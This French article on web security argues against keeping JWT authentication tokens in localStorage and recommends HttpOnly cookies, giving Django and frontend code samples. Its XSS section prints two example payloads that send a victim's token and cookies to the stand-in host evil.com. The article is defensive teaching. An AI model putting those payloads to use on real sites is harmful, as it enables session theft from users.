Cessez d'utiliser localStorage pour les jetons d'authentification : une analyse approfondie des questions de sécurité
Pourquoi le stockage des JWT dans localStorage constitue une faille de sécurité, comment les attaques XSS en tirent parti, et comment gérer correctement les jetons d'authentification dans les applications web modernes.
Le problème que tout le monde ignore
Consultez n'importe quel tutoriel Next.js ou React sur l'authentification JWT. 90 % d'entre eux vous montreront ceci :
// À
ÉVITERconst login = async (credentials) => {
const res = await fetch('/api/auth/login', { ... });
const { access_token } = await res.json();
localStorage.setItem('token', access_token); // <-- VULNÉRABLE
};Il s'agit d'une vulnérabilité de type Cross-Site Scripting (XSS). Tout code JavaScript exécuté sur votre page peut accéder à localStorage. Si un pirate parvient à injecter ne serait-ce qu'une seule ligne de code JavaScript (via un script tiers, une attaque de la chaîne d'approvisionnement npm ou une entrée utilisateur non échappée), il peut voler le jeton d'authentification de chaque utilisateur.
Comment une attaque XSS permet de voler des jetons localStorage
Un pirate n'a pas besoin de pirater votre serveur. Il lui suffit d'exécuter du code JavaScript sur votre page :
// Charge utile de l'attaquant (injectée via le champ de commentaire, le script publicitaire, etc.)
new Image().src = 'https://evil.com/steal?token='
+ localStorage.getItem('token');
// Ou bien ils exfiltrent les données via
fetchfetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify({
token: localStorage.getItem('token'),
cookies: document.cookie,
url: window.location.href
})
});Vecteurs XSS courants : utilisation non échappée de la fonction `dangerouslySetInnerHTML`, paquets npm compromis, scripts tiers d'analyse ou de chat, contenu généré par les utilisateurs affiché au format HTML.
La bonne approche : les cookies HttpOnly
Enregistrez les jetons dans des cookies HttpOnly, Secure et SameSite. JavaScript ne peut pas lire les cookies HttpOnly : ceux-ci sont envoyés automatiquement par le navigateur à chaque requête.
# Backend Django : définir le jeton comme cookie HttpOnly
from django.http import JsonResponse
def login_view(request):
user = authenticate(request)
access_token = generate_jwt(user)
refresh_token = generate_refresh_token(user)
response = JsonResponse({'user': serialize(user)})
# HttpOnly : JavaScript ne peut pas le lire (protection XSS)
# Secure : envoyé uniquement via HTTPS
# SameSite=Lax : empêche les attaques CSRF sur la plupart des requêtes
response.set_cookie(
'access_token', access_token,
httponly=True,
secure=True,
samesite='Lax',
max_age=15 * 60, # 15 minutes
path='/',
)
response.set_cookie(
'refresh_token', refresh_token,
httponly=True,
secure=True,
samesite='Lax',
max_age=7 * 24 * 60 * 60, # 7 jours
path='/api/auth/refresh/', # envoyé uniquement au point de terminaison de
rafraîchissement )
return responseInterface utilisateur : aucune gestion des jetons n'est nécessaire
Avec les cookies HttpOnly, l'interface utilisateur ne touche pas du tout aux jetons. C'est le navigateur qui s'occupe de tout :
// Frontend : les cookies sont envoyés automatiquement
const getProfile = async () => {
const res = await fetch('/api/profile/', {
credentials: 'include', // inclure les cookies
});
return res.json();
};
// Pas de localStorage, pas d'analyse de jeton, pas d'en-têtes
d'authentification // Le navigateur envoie automatiquement le cookie HttpOnlyComparaison : localStorage et cookies HttpOnly
| Vecteur d'attaque | localStorage | Cookie HttpOnly |
|---|---|---|
| XSS (injection de script) | Jeton volé | Coffre-fort pour jetons (JS ne peut pas le lire) |
| CSRF (requête intersite) | En toute sécurité (pas d'envoi automatique) | Protégé par SameSite=Lax |
| Attaque visant la chaîne d'approvisionnement npm | Jeton volé | Coffre-fort pour jetons |
| Accès via une extension de navigateur | Lecture du jeton | Jeton masqué |
| Analyse du trafic réseau | Si envoyé dans l'en-tête : visible | Indicateur de sécurité : HTTPS uniquement |
Qu'en est-il du CSRF ?
L'argument souvent avancé en faveur de localStorage est que « les cookies sont vulnérables aux attaques CSRF ». C'était vrai il y a dix ans. Les navigateurs modernes prennent en charge le paramètre SameSite=Lax, qui empêche les requêtes inter-origines d'envoyer des cookies. Associé au middleware CSRF de Django pour les requêtes modifiant l'état, cela permet d'éliminer efficacement les attaques CSRF.
Pour plus de sécurité, utilisez le modèle de cookie à double envoi : le serveur définit un cookie de jeton CSRF non HttpOnly, l'interface client le lit et l'envoie sous forme d'en-tête, puis le serveur vérifie qu'ils correspondent.
En résumé
Si vous mettez en place un système d'authentification en 2026, utilisez des cookies HttpOnly. La surface d'attaque XSS de localStorage est trop importante, surtout avec les applications modernes qui chargent des dizaines de scripts tiers. La sécurité des sessions de vos utilisateurs en dépend.
La sécurité n'est pas une fonctionnalité que l'on ajoute après coup. Le choix entre les cookies localStorage et HttpOnly fait toute la différence entre « nous avons été piratés » et « l'attaque a été contrée ».
— Fiche pratique sur l'authentification de l'OWASP
